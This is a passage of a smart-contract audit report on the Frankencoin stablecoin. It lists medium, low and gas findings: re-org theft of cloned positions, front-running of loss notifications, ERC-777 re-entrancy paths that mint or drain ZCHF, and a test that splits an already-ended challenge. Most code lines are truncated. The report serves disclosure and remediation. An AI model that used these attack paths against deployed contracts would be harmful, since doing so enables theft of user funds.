luziusmeisser (Frankencoin) acknowledged and commented:

> I have thought about the ability to remove old minters, but decided against it.

> Instead, experimental minters should come with their own limits (time, pause function, volume limits, etc.). They are free to include that. Minters that do not include it, can be expected to be denied unless they have been really thoroughly audited.

> So in fact, it is possible to pause a minter assuming the minter supports that functionality.

[M-14] Re-org attack in factory

Submitted by OxWeiss*, also found by* V_B*,* Breeje*, and* Proxy

The `createClone` function deploys a clone contract using the create, where the address derivation depends only on the `PositionFactory` nonce.

Re-orgs can happen in all EVM chains. In ethereum, where currently Frankencoin is deployed, it is not “super common” but it still happens, being the last one less than a year ago:

https://decrypt.co/101390/ethereum-beacon-chain-blockchain-reorg

The issue increases the changes of happening because frankencoin is thinking about deploying also in L2’s/ rollups, proof:

https://discord.com/channels/810916927919620096/1095308824354758696/1096693817450692658

where re-orgs have been much more active:

https://protos.com/polygon-hit-by-157-block-reorg-despite-hard-fork-to-reduce-reorgs/

being the last one, less than a year ago.

The issue would happen when users rely on the address derivation in advance or try to deploy the position clone with the same address on different EVM chains, any funds sent to the new clone could potentially be withdrawn by anyone else. All in all, it could lead to the theft of user funds.

As you can see in a previous report, the issue should be marked and judged as a medium:

https://code4rena.com/reports/2023-01-rabbithole/#m-01-questfactory-is-suspicious-of-the-reorg-attack

Proof of Concept

Imagine that Alice deploys a position clone, and then sends funds to it. Bob sees that the network block reorg happens and calls `clonePosition`. Thus, it creates a position clone with an address to which Alice sends funds. Then Alice's transactions are executed and Alice transfers funds to Bob's position contract.

Recommended Mitigation Steps

The recommendation is basically the same as:

https://code4rena.com/reports/2023-01-rabbithole/#m-01-questfactory-is-suspicious-of-the-reorg-attack

Deploy the cloned Position via create2 with a specific salt that includes msg.sender and address `_existing`

luziusmeisser (Frankencoin) confirmed

[M-15] `notifyLoss` can be frontrun by redeem

Submitted by 0xWaitress

notifyLoss immediately transfer zchf from reserve to the minter, reducing the amount of reserve and hence the equity and zchf to claim pershare.

While the deposit has 90 days cooldown before depositor can withdraw, current depositor that passed this cooldown can take advantage of a notifyLoss event by first frontrunning the notifyLoss by redeeming, then re-depositing into the protocol to take advantage of the reducedvalue per share.

notifyLoss can only be called by MintingHub::end, current depositor can bundle `redeem + end + deposit`, when they see a challenge that is ending in loss for the reserve.

Recommended Mitigation Steps

This is a re-current issue for most defi strategy to account loss in a mev-resistent way, a few possible solutions:

1. create an additional window for MintingHub::end to be called by a whitelist, before it opens up to the public. The whitelist is trusted bot that will call `end` through private mempool.
2. amortised the loss in the next coming period of time instead in 1 go with a `MAX_SPEED`.
3. create an withdrawal queue such that the final withdrawal price is dependent on the upcoming equity change(s)

luziusmeisser (Frankencoin) acknowledged

Low Risk and Non-Critical Issues

For this audit, 81 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by **juancito** received the top score from the judge.

The following wardens also submitted reports: rbserver, 0xAgro, EloiManuel, joestakey, MohammedRizwan, nadin, aria, MiloTruck, lukris02, Aymen0909, slvDev, pontifex, giovannidisiena, Arz, decade, karanctf, m9800, Kaysoft, DedOhWale, qpzm, tnevler, Udsen, mov, santipu_, Madalad, DishWasher, parlayan_yildizlar_takimi, ltyu, ChainHunters, xmxanuel, SanketKogekar, 3dgeville, niser93, CodeFoxInc, bin2chen, LeoGold, 0xTheC0der, matrix_0wl, yixxas, IceBear, SaharDevep, Inspex, BenRai, 0xNorman, BRONZEDISC, Bauchibred, ayden, SolidityATL, kodyvim, catellatech, ChrisTina, BGSecurity, evmboi32, LewisBroadhurst, descharre, Bauer, p0wd3r, mrpathfindr, wonjun, Jorgect, Nyx, W0RR10, berlin-101, 8olidity, eyexploit, 0xnev, 0xStalin, codeslide, 0xSmartContract, RaymondFam, shealtielanz, pavankv, georgits, fatherOfBlocks, crc32, Sathish9098, Polaris_tow, 0xWaitress, ravikiranweb3, *and* 0xhacksmithh .

Low Issues

- [L-01] Frontrunning suggestMinter may lead to stolen funds
- [L-02] Not validating `MIN_APPLICATION_PERIOD` can lead to stolen funds
- [L-03] `MIN_HOLDING_DURATION` will not hold a correct value if deployed on other network
- [L-04] Positions should be expired when `block.timestamp = expiration`
- [L-05] No pause mechanism in case of depeg of XCHF token
- [L-06] Tokens with very large decimals will not work as expected
- [L-07] minBid can be bypassed to bid indefinitely for small amounts
- [L-08] ERC-777 tokens can lead to re-entrancy vulnerabilities
- [L-09] Challenges can be split after they end

[L-01] Frontrunning suggestMinter may lead to stolen funds

`Frankencoin::suggestMinter` does not validate `_applicationPeriod` and `_applicationFee` when `totalSupply()` is `0`

This can be useful for the admins to create the first minter.

Nevertheless the function can be called by anyone until some tokens are minted.

Impact

In the worst scenario the admins can deploy all contracts. Send funds to the `StablecoinBridge` , and then decide to suggest the first minter and mint some coins.

An attacker can call `suggestMinter` as soon as the contracts are created and some funds are sent to burn them and retrieve the paired stable coin provided by the

bridge.

On a less dramatic scenario anyone can frontrun the `suggestMinter` function, which will create a new minter for the attacker. This will result in the contracts having to be re-deployed.

Proof of Concept

`Frankencoin::suggestMinter` does not validate `_applicationPeriod` and `_applicationFee` when `totalSupply()` is `0`:

```
        if (_applicationPeriod < MIN_APPLICATION_PERIOD && totalSu
        if (_applicationFee < MIN_FEE  && totalSupply() > 0) rever
```

[Link to code]

Recommended Mitigation Steps

Add some admin permission to assign the first minter, or deploy everything through a deployer contract, and call `suggestMinter` in it, so that it cannot be front-runned.

[L-02] Not validating `MIN_APPLICATION_PERIOD` can lead to stolen funds

`MIN_APPLICATION_PERIOD` is defined on the `Frankencoin` constructor and is immutable. In case the contracts are deployed with `_minApplicationPeriod = 0`, an attacker can become a minter, burn the token and steal assets on other contracts like the `StablecoinBridge`.

```
    constructor(uint256 _minApplicationPeriod) ERC20(18){
        MIN_APPLICATION_PERIOD = _minApplicationPeriod;
        reserve = new Equity(this);
    }
```

[Link to code]

Recommended Mitigation Steps

Validate that the `MIN_APPLICATION_PERIOD` is greater than some minimum value in the constructor.

[L-03] `MIN_HOLDING_DURATION` will not hold a correct value if deployed on other network

`MIN_HOLDING_DURATION` in `Equity` is calculated assuming that it will be only deployed in Ethereum Mainnet, where each block is added every 12 seconds.

```
uint256 public constant MIN_HOLDING_DURATION = 90*7200 << BLOCK_
```

Link to code

That will not be true if the contract is deployed on other networks

Recommended Mitigation Steps

Define `MIN_HOLDING_DURATION` via a variable in the constructor, or add a comment on the code make clear this issue.

[L-04] Positions should be expired when `block.timestamp = expiration`

The `alive` modifier in `Position` does not revert when `block.timestamp == expiration`:

```
        block.timestamp > expiration) revert Expired();
```

Link to code

This by itself only allows positions to operate on that exact block, but if the `noCooldown` modifier had the same issue, it could lead to exploits when all values are equal.

```
        if (block.timestamp <= cooldown) revert Hot();
```

It was noticed that some changes to `>` operatos have been performed when replacing `require` statements with `revert` statements.

It is important to check this subtle differences to prevent any issue.

On top of that, the `tryAvertChallenge` already checks `block.timestamp >= expiration` for expiration:

```
    /**
     * @notice check whether challenge can be averted
     * @param _collateralAmount   amount of collateral challenge
     * @param _bidAmountZCHF      bid amount in ZCHF (dec18)
     * @return true if challenge can be averted
     */
    function tryAvertChallenge(uint256 _collateralAmount, uint25
        if (block.timestamp >= expiration){
```

[Link to code]

Recommended Mitigation Steps

For code consistency, and to prevent any possible issues with the exact block of expiration:

```
-     block.timestamp > expiration) revert Expired();
+     block.timestamp >= expiration) revert Expired();
```

[L-05] No pause mechanism in case of depeg of XCHF token

The system allows minting 1-1 FrankenCoin with the same amount of XCHF tokens. In the case the stable coin XCHF depegs from its value it will greatly affect the value of the FrankenCoin ZCHF token, as they can be redeemed immediately.

Recommended Mitigation Steps

It should be up for consideration the implementation of a pause function on the StablecoinBridge to prevent minting tokens 1-1 in case of emergency.

[L-06] Tokens with very large decimals will not work as expected

Although not common, it is possible that ERC-20 tokens have `decimals() > 36`. The current system acknowledges it, but does not prevent anyone from creating a position with them. This will result in the token not working as expected.

```
     * @param _liqPrice          Liquidation price with (36 - tc
     *                           e.g. 18 decimals for an 18 deci
```

Link to code

Recommended Mitigation Steps

Validate that tokens have < than 36 decimals or the desired value

[L-07] minBid can be bypassed to bid indefinitely for small amounts

`MintingHub::minBid()` returns the same number as the `challenge.bid` for small numbers:

```
    function minBid(Challenge storage challenge) internal view retur
        return (challenge.bid * 1005) / 1000;
    }
```

For `challenge.bid <= 199`, the result of `minBid` is the same as the bid because of the precision loss error.

`minBid` is used in the `bid` function to check if the bid should be postponed:

```
        if (_bidAmountZCHF < minBid(challenge)) revert BidTooLow(_bi
        uint256 earliestEnd = block.timestamp + 30 minutes;
```

```
        if (earliestEnd >= challenge.end) {
            // bump remaining time like ebay does when last minute b
            // An attacker trying to postpone the challenge forever
            // every 30 minutes, or double it every three days, maki
            // for a prolonged period of time.
            challenge.end = earliestEnd;
        }
```

Recommended Mitigation Steps

Replace the `<` with `<=`. That way it will revert when the amounts are low enough to return the same number.

```
-     if (_bidAmountZCHF < minBid(challenge)) revert BidTooLow(_b
+     if (_bidAmountZCHF <= minBid(challenge)) revert BidTooLow(_
```

[L-08] ERC-777 tokens can lead to re-entrancy vulnerabilities

ERC-777 behave like ERC-20 tokens, but they make a callback when tokens are transfered.

Impact

Positions containing ERC-777 tokens as collateral may be victim of re-entrancy attacks.

The possible impacts are unrestricted minting of ZCHF tokens via `end`, and stealing ZCHF tokens from the `MintingHub`, both critical.

On top of that, some inconsistency on the positions' storage can be result of these unexpected behavior.

The actual impact relies on the `minters` of the protocol allowing the possibility of using ERC-777 tokens as collateral or denying them.

Proof of Concept

These functions in the `MintingHub` are suceptible to re-entrancy attacks. An attacker can perform them by first launching a challenge, and then calling the

respected functions. As the bidder and challenger will be the same, the collateral will be transfered between attacker accounts.

`end()` calls `returnCollateral` early on the function, before the `challenge` is deleted. So, it can be re-entered to mint extra tokens via `zchf.notifyLoss`:

```
// returnCollateral()
challenge.position.collateral().transfer(msg.sender, challer
```

Link to code

`bid()` can be re-entered when the bid is high enough to avert the challenge.

First, the attacker needs to have a previous bid, or the attacker can create one.

The attacker would then be able to steal the initial bid multiple times via the `zchf.transfer(challenge.bidder, challenge.bid);`. Assets will be taken from the `MintingHub` contract.

The re-entrancy can be executed by calling the function with a value big enough to avert the challenge:

```
// bid()
challenge.position.collateral().transfer(challenge.challenge
```

Link to code

Recommended Mitigation Steps

Add re-entrancy guards to functions that transfer collateral, and implement the Checks-Effects-Interaction pattern. Or disallow the use of ERC-777 tokens as collateral.

Link to code

[L-09] Challenges can be split after they end

Impact

Griefing users by diving their already ended challenges

Proof of Concept

```
    function testBidAfterEnd() public {
        Position position = Position(initPosition());

        skip(7 * 86_400 + 60);

        User challenger = new User(zchf);
        col.mint(address(challenger), 1001);
        uint256 challengeNumber = challenger.challenge(hub, address(

        uint256 bidAmount = 1 ether;
        bob.obtainFrankencoins(swap, 1 ether);
        bob.bid(hub, challengeNumber, bidAmount);

        skip(7 * 86_400 + 60);

        vm.startPrank(address(alice));
        hub.splitChallenge(challengeNumber, 500); // @audit
        hub.end(challengeNumber); // @audit
        vm.stopPrank();
    }
```

Recommended Mitigation Steps

Add `if (block.timestamp >= challenge.end) revert TooLate();` to the `splitChallenge` function

Non-Critical Issues

- [N-01] No way to track challenges created by a user

- [N-02] Equity tokens sent to oneself are processed to update votes

- [N-03] Misleading comment about position `start` value

- [N-04] Rebasing tokens can lead to bad accountability of the positions

[N-01] No way to track challenges created by a user

Challenges launched via the MintingHub are added to a general `challenges` array.

But it will be troublesome to track all challenges created by a user as long as that array grows, especially considering that anyone can split challenges and make that array grow faster than expected.

Recommended Mitigation Steps

Create a mapping that tracks the challenges launched by users, and also adds them when challenges are splitted.

[N-02] Equity tokens sent to oneself are processed to update votes

Tokens sent are pre-processed in `_beforeTokenTransfer`. The `adjustRecipientVoteAnchor` and `adjustTotalVotes` are called, where calculations for the user and the total votes are made.

In the current codebase it doesn't generate any issues, but any uncatched precision loss or some subtle changes to those calculations could be used to perform some exploit.

```
function _beforeTokenTransfer(address from, address to, uint
    super._beforeTokenTransfer(from, to, amount);
    if (amount > 0){
        // No need to adjust the sender votes. When they ser
        // their votes so everything falls nicely into place
        // Recipient votes should stay the same, but grow fa
        uint256 roundingLoss = adjustRecipientVoteAnchor(to,
        // The total also must be adjusted and kept accurate
        adjustTotalVotes(from, amount, roundingLoss);
    }
}
```

[Link to code]

Recommended Mitigation Steps

The current implementation makes the users sending the tokens lose the votes. This can be the expected behavior.

The following suggestions adds some safety to the function, but in exchange, it changes the original functionality. With this change, users will not lose votes if they send tokens to themselves:

```
    function _beforeTokenTransfer(address from, address to, uint
        super._beforeTokenTransfer(from, to, amount);
-        if (amount > 0){
+        if (amount > 0 && from != to){
            // No need to adjust the sender votes. When they ser
            // their votes so everything falls nicely into place
            // Recipient votes should stay the same, but grow fa
            uint256 roundingLoss = adjustRecipientVoteAnchor(to,
            // The total also must be adjusted and kept accurate
            adjustTotalVotes(from, amount, roundingLoss);
        }
    }
```

[N-03] Misleading comment about position `start` value

The code suggests that there is “one week” time to deny the position

```
    start = block.timestamp + initPeriod; // one week time to deny t
```

[Link to code]

But some lines before it specifies `3 days`:

```
    require(initPeriod >= 3 days); // must be at least three days, r
```

[Link to code]

Recommended Mitigation Steps

Fix the comment or the required value

[N-04] Rebasing tokens can lead to bad accountability of the positions

Rebasing tokens change the `balanceOf` value of the accounts that hold their tokens.

Using rebasing tokens as collateral for positions can lead to positions minting more tokens than expected, or challenges created, averted or won with different amounts than expected.

I would suggest not allowing rebasing tokens to be used on the protocol.

hansfriese (judge) commented:

> [N-02]: It can be seen as a low risk when from = to.
> [N-03]: The documentation said 7 days during contest period, so this can be a low risk.

Gas Optimizations

For this audit, 43 reports were submitted by wardens detailing gas optimizations. The **report highlighted below** by **c3phas** received the top score from the judge.

The following wardens also submitted reports: naman1778, EvanW, MohammedRizwan, Udsen, aria, nadin, Aymen0909, Breeje, decade, karanctf, 0xSmartContract, Rageur, 0xDACA, hunter_w3b, slvDev, DishWasher, ReyAdmirado, xmxanuel, matrix_0wl, Erko, niser93, __141345__, SAAJ, pfapostol, Raihan, trysam2003, JCN, Satyam_Sharma, BenRai, RaymondFam, sebghatullah, codeslide, 0xnev, petrichor, pavankv, fatherOfBlocks, Sathish9098, Proxy, Polaris_tow, NoamYakov, 0xRB, *and* 0xhacksmithh.

Notes

NB: Some functions have been truncated where necessary to just show affected parts of the code. Through out the report some places might be denoted with audit tags to show the actual place affected.

[G-01] IF's/require() statements that check input arguments should be at the top of the function

Checks that involve constants should come before checks that involve state variables, function calls, and calculations. By doing these checks first, the function is able to revert before wasting a Gcoldsload (2100 gas) in a function that may ultimately revert in the unhappy case.

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L290-L297

Cheaper to check the function parameter before making an external function call

```
File: /contracts/Equity.sol
290:     function calculateProceeds(uint256 shares) public view r
291:         uint256 totalShares = totalSupply();
292:         uint256 capital = zchf.equity();
293:         require(shares + ONE_DEC18 < totalShares, "too many
294:         uint256 newTotalShares = totalShares - shares;
295:         uint256 newCapital = _mulD18(capital, _power3(_divD1
296:         return capital - newCapital;
297:     }
```

As we have a require statement verifying a functional parameter, it would be cheaper to run this check first before making an external function call.

```
diff --git a/contracts/Equity.sol b/contracts/Equity.sol
index 7057ed6..817e37a 100644
--- a/contracts/Equity.sol
+++ b/contracts/Equity.sol
@@ -289,8 +289,8 @@ contract Equity is ERC20PermitLight, MathUti
      */
     function calculateProceeds(uint256 shares) public view retu
```

```
        uint256 totalShares = totalSupply();
-       uint256 capital = zchf.equity();
        require(shares + ONE_DEC18 < totalShares, "too many sha
+       uint256 capital = zchf.equity();
        uint256 newTotalShares = totalShares - shares;
        uint256 newCapital = _mulD18(capital, _power3(_divD18(r
        return capital - newCapital;
```

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L88-L113

Move the require statement at the beginning of the function

```
File: /contracts/MintingHub.sol
88:     function openPosition(
89:         address _collateralAddress, uint256 _minCollateral, u
90:         uint256 _mintingMaximum, uint256 _initPeriodSeconds,
91:         uint32 _mintingFeePPM, uint256 _liqPrice, uint32 _res
//@audit: truncated some chunk here
107:         zchf.registerPosition(address(pos));
108:         zchf.transferFrom(msg.sender, address(zchf.reserve()
109:         require(_initialCollateral >= _minCollateral, "must
```

We have a require statement that validates some functional parameters. As we would end up reverting if this parameters don't meet the requirements, it's better to check them at the beggining of the function before performing other operations that would just waste gas in case we end up reverting

```
diff --git a/contracts/MintingHub.sol b/contracts/MintingHub.sol
index 663b205..0739259 100644
--- a/contracts/MintingHub.sol
+++ b/contracts/MintingHub.sol
@@ -89,6 +89,8 @@ contract MintingHub {
        address _collateralAddress, uint256 _minCollateral, uir
        uint256 _mintingMaximum, uint256 _initPeriodSeconds, ui
        uint32 _mintingFeePPM, uint256 _liqPrice, uint32 _reser
+       require(_initialCollateral >= _minCollateral, "must sta
+
        IPosition pos = IPosition(
```

```
                POSITION_FACTORY.createNewPosition(
                    msg.sender,
@@ -106,7 +108,6 @@ contract MintingHub {
         );
         zchf.registerPosition(address(pos));
         zchf.transferFrom(msg.sender, address(zchf.reserve()),
-        require(_initialCollateral >= _minCollateral, "must sta
         IERC20(_collateralAddress).transferFrom(msg.sender, adc

         return address(pos);
```

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L76-L86

Move the if check condition above the function call

```
File: /contracts/Position.sol
76:     function initializeClone(address owner, uint256 _price, u
77:         if(_coll < minimumCollateral) revert InsufficientColl
78:         setOwner(owner);

80:         price = _mint * ONE_DEC18 / _coll;
81:         if (price > _price) revert InsufficientCollateral();
```

We have an internal function call that simply sets a new owner. We also have a check of `price > _price` that would revert in case that check fails. As this is not dependent on the internal function call, we can do the check first so that incase of a revert on the `if (price > _price) revert InsufficientCollateral();` we wouldn't waste gas doing the internal function call

```
diff --git a/contracts/Position.sol b/contracts/Position.sol
index 3e18534..88ecfe5 100644
--- a/contracts/Position.sol
+++ b/contracts/Position.sol
@@ -75,10 +75,11 @@ contract Position is Ownable, IPosition, Mat
      */
     function initializeClone(address owner, uint256 _price, uir
         if(_coll < minimumCollateral) revert InsufficientCollat
```

```
-         setOwner(owner);
-
          price = _mint * ONE_DEC18 / _coll;
          if (price > _price) revert InsufficientCollateral();
+         setOwner(owner);
```

[G-02] The result of a function call should be cached rather than re-calling the function

External calls are expensive. Consider caching the following:

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L144-L148

Equity.sol.adjustTotalVotes(): Results of anchorTime() should be cached rather than call it twice

```
File: /contracts/Equity.sol
144:     function adjustTotalVotes(address from, uint256 amount,
145:         uint256 lostVotes = from == address(0x0) ? 0 : (anch
146:         totalVotesAtAnchor = uint192(totalVotes() - roundinc
147:         totalVotesAnchorTime = anchorTime();
148:     }
```

```
diff --git a/contracts/Equity.sol b/contracts/Equity.sol
index 7057ed6..6344fef 100644
--- a/contracts/Equity.sol
+++ b/contracts/Equity.sol
@@ -142,9 +142,10 @@ contract Equity is ERC20PermitLight, MathUt
       * @param amount    amount to be sent
       */
      function adjustTotalVotes(address from, uint256 amount, uir
-         uint256 lostVotes = from == address(0x0) ? 0 : (anchorT
+         uint64 _anchorTime = anchorTime();
+         uint256 lostVotes = from == address(0x0) ? 0 : (_anchor
          totalVotesAtAnchor = uint192(totalVotes() - roundingLos
-         totalVotesAnchorTime = anchorTime();
+         totalVotesAnchorTime = _anchorTime;
```

```
    }
```

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L83-L90

Frankencoin.sol.suggestMinter(): Result of totalSupply() should be cached here(sad path)

```
File: /contracts/Frankencoin.sol
83:   function suggestMinter(address _minter, uint256 _applicati
84:       if (_applicationPeriod < MIN_APPLICATION_PERIOD && tota
85:       if (_applicationFee < MIN_FEE  && totalSupply() > 0) re
86:       if (minters[_minter] != 0) revert AlreadyRegistered();
87:       _transfer(msg.sender, address(reserve), _applicationFee
88:       minters[_minter] = block.timestamp + _applicationPerioc
89:       emit MinterApplied(_minter, _applicationPeriod, _applic
90:   }
```

```
diff --git a/contracts/Frankencoin.sol b/contracts/Frankencoin.s
index e9e87dc..556d882 100644
--- a/contracts/Frankencoin.sol
+++ b/contracts/Frankencoin.sol
@@ -81,8 +81,9 @@ contract Frankencoin is ERC20PermitLight, IFra
     * minter.
     */
    function suggestMinter(address _minter, uint256 _applicatior
-       if (_applicationPeriod < MIN_APPLICATION_PERIOD && totalS
-       if (_applicationFee < MIN_FEE  && totalSupply() > 0) reve
+       uint256 _totalSupply = totalSupply();
+       if (_applicationPeriod < MIN_APPLICATION_PERIOD && _total
+       if (_applicationFee < MIN_FEE  && _totalSupply > 0) rever
        if (minters[_minter] != 0) revert AlreadyRegistered();
        _transfer(msg.sender, address(reserve), _applicationFee);
        minters[_minter] = block.timestamp + _applicationPeriod;
```

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L204-L213

Frankencoin.sol.calculateAssignedReserve(): Results of minterReserve() should be cached

```
File: /contracts/Frankencoin.sol
204:    function calculateAssignedReserve(uint256 mintedAmount, u
205:       uint256 theoreticalReserve = _reservePPM * mintedAmour
206:       uint256 currentReserve = balanceOf(address(reserve));
207:       if (currentReserve < minterReserve()){ //@audit: Initi
208:          // not enough reserves, owner has to take a loss
209:          return theoreticalReserve * currentReserve / minter
210:       } else {
211:          return theoreticalReserve;
212:       }
213:    }
```

```
diff --git a/contracts/Frankencoin.sol b/contracts/Frankencoin.s
index e9e87dc..1f0a60e 100644
--- a/contracts/Frankencoin.sol
+++ b/contracts/Frankencoin.sol
@@ -204,9 +204,10 @@ contract Frankencoin is ERC20PermitLight, I
    function calculateAssignedReserve(uint256 mintedAmount, uint
       uint256 theoreticalReserve = _reservePPM * mintedAmount /
       uint256 currentReserve = balanceOf(address(reserve));
-      if (currentReserve < minterReserve()){
+      uint256 _minterReserve = minterReserve();
+      if (currentReserve < _minterReserve){
          // not enough reserves, owner has to take a loss
-         return theoreticalReserve * currentReserve / minterRes
+         return theoreticalReserve * currentReserve / _minterRe
       } else {
          return theoreticalReserve;
       }
```

[G-03] Multiple accesses of a mapping/array should use a local variable cache

Caching a mapping's value in a local storage or calldata variable when the value is accessed multiple times saves ~42 gas per access due to not having to perform the same offset calculation every time.

Help the Optimizer by saving a storage variable's reference instead of repeatedly fetching it

To help the optimizer,declare a storage type variable and use it instead of repeatedly fetching the reference in a map or an array.

As an example, instead of repeatedly calling `someMap[someIndex]`, save its reference like this: `SomeStruct storage someStruct = someMap[someIndex]` and use it.

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L83-L90

Frankencoin.sol.suggestMinter(): minters[_minter] should be cached in local storage

```
File: /contracts/Frankencoin.sol
83:   function suggestMinter(address _minter, uint256 _applicati

86:       if (minters[_minter] != 0) revert AlreadyRegistered();/
87:       _transfer(msg.sender, address(reserve), _applicationFee
88:       minters[_minter] = block.timestamp + _applicationPeriod
```

[G-04] Using unchecked blocks to save gas

Solidity version 0.8+ comes with implicit overflow and underflow checks on unsigned integers. When an overflow or an underflow isn't possible (as an example, when a comparison is made before the arithmetic operation), some gas can be saved by using an unchecked block
see resource

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L247

```
File: /contracts/Equity.sol
```

```
247:         uint256 shares = equity <= amount ? 1000 * ONE_DEC18
```

The operation `equity - amount` cannot underflow as it would only be performed if `equity <= amount`

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L294

```
File: /contracts/Equity.sol
294:         uint256 newTotalShares = totalShares - shares;
```

The above operation cannot underflow due to the check on Line 293 which checks that `shares + ONE_DEC18 < totalShares`. This means that whatever value `shares` would have, the operation would only be performed if it's less than `totalShares`

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L144

```
File: /contracts/Frankencoin.sol
144:         return balance - minReserve;
```

The operation `balance - minReserve` cannot underflow due to the check on Line 141 that ensures that `balance` is greater than `minReserve` before performing this operation

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L286

```
File: /contracts/Frankencoin.sol
286:         _mint(msg.sender, _amount - reserveLeft);
```

The operation `_amount - reserveLeft` cannot underflow due to the check on Line 282 which ensures that our arithmetic operation would only be performed if `reserveLeft` is less than `_amount`

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L138

```
File: /contracts/Position.sol
138:             collateral.transferFrom(msg.sender, address(this
```

The operation `newCollateral - colbal` cannot underflow due to the check on Line 137 that ensures that `newCollateral` is greater than `colbal` before performing the arithmetic operation

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L142

```
File: /contracts/Position.sol
142:             zchf.burnFrom(msg.sender, minted - newMinted, re
```

The operation `minted - newMinted` cannot underflow due to the check on Line 141 that ensures that `minted` is greater than `newMinted` before performing the arithmetic operation

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L146

```
File: /contracts/Position.sol
146:             withdrawCollateral(msg.sender, colbal - newColla
```

The operation `colbal - newCollateral` cannot underflow due to the check on Line 145 that ensures that `newCollateral` is greater than `colbal` before

performing the arithmetic operation

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L150

```
File: /contracts/Position.sol
150:             mint(msg.sender, newMinted - minted);
```

The operation `newMinted - minted` cannot underflow due to the check on Line 149 that ensures that `newMinted` is greater than `minted` before performing the arithmetic operation

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L240-L243

```
File: /contracts/Position.sol
240:     function notifyRepaidInternal(uint256 amount) internal {
241:         if (amount > minted) revert RepaidTooMuch(amount - m
242:         minted -= amount;
243:     }
```

There are two operations here `amount - minted` and `minted -= amount` , The two operations cannot underflow as they are both protected by the check `if (amount > minted)` . The first one would only be performed during a revert which would be as a result of `amount` being greater than `minted` The second operation would be performed if we don't hit the revert condition which would mean `minted` was greater than `amount`

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L263

```
File: /contracts/MintingHub.sol
```

```
263:             IERC20(zchf).transfer(challenge.bidder, challenc
```

The operation `challenge.bid - effectiveBid` cannot underflow due to the check on Line 261 that ensures that `challenge.bid` is greater than `effectiveBid` before performing the arithmetic operation

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L268

```
File: /contracts/MintingHub.sol
268:             zchf.transfer(owner, effectiveBid - fundsNeeded)
```

The operation `effectiveBid - fundsNeeded` cannot underflow due to the check on Line 267 that ensures that `effectiveBid` is greater than `fundsNeeded` before performing the arithmetic operation

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L270

```
File: /contracts/MintingHub.sol
270:             zchf.notifyLoss(fundsNeeded - effectiveBid); //
```

The operation `fundsNeeded - effectiveBid` cannot underflow due to the check on Line 269 that ensures that `effectiveBid` is less than `fundsNeeded` before performing the arithmetic operation

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/ERC20.sol#L132

```
File: /contracts/ERC20.sol
132:             _approve(sender, msg.sender, currentAllowance -
```

The operation `currentAllowance - amount` cannot underflow due to the check on Line 131 that ensures that this arithmetic operation would only be performed if `currentAllowance` is greater than `amount`

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/ERC20.sol#L156

```
File: /contracts/ERC20.sol
156:         _balances[sender] -= amount;
```

The above operation cannot underflow as we have a check on Line 155 that ensures that `_balances[sender]` cannot be less than `amount` before we perform the subtractio

[G-05] `2**<n>` should be re-written as `type(uint<n>).max`

Earlier versions of solidity can use `uint<n>(-1)` instead. Expressions not including the `- 1` can often be re-written to accomodate the change (e.g. by using a `>` rather than a `>=`, which will also save some gas)

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Equity.sol#L241-L255

```
File: /contracts/Equity.sol
241:     function onTokenTransfer(address from, uint256 amount, b

253:         require(totalSupply() < 2**128, "total supply exceec
254:         return true;
255:     }
```

As our operation didn't include the `-1` we've changed the sign to `<=` rather than just `<`

```
diff --git a/contracts/Equity.sol b/contracts/Equity.sol
```

```
index 7057ed6..95816f3 100644
--- a/contracts/Equity.sol
+++ b/contracts/Equity.sol
@@ -250,7 +250,7 @@ contract Equity is ERC20PermitLight, MathUti

         // limit the total supply to a reasonable amount to gua
         // the 128 bits are 68 bits for magnitude and 60 bits f
-        require(totalSupply() < 2**128, "total supply exceeded'
+        require(totalSupply() <= type(uint128).max , "total sup
         return true;
     }
```

[G-06] Unnecessary casting as variable is already of the same type

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L124-L132

MintingHub.sol.clonePosition(): pos should not be cast to address as it's declared as an address

```
File: /contracts/MintingHub.sol
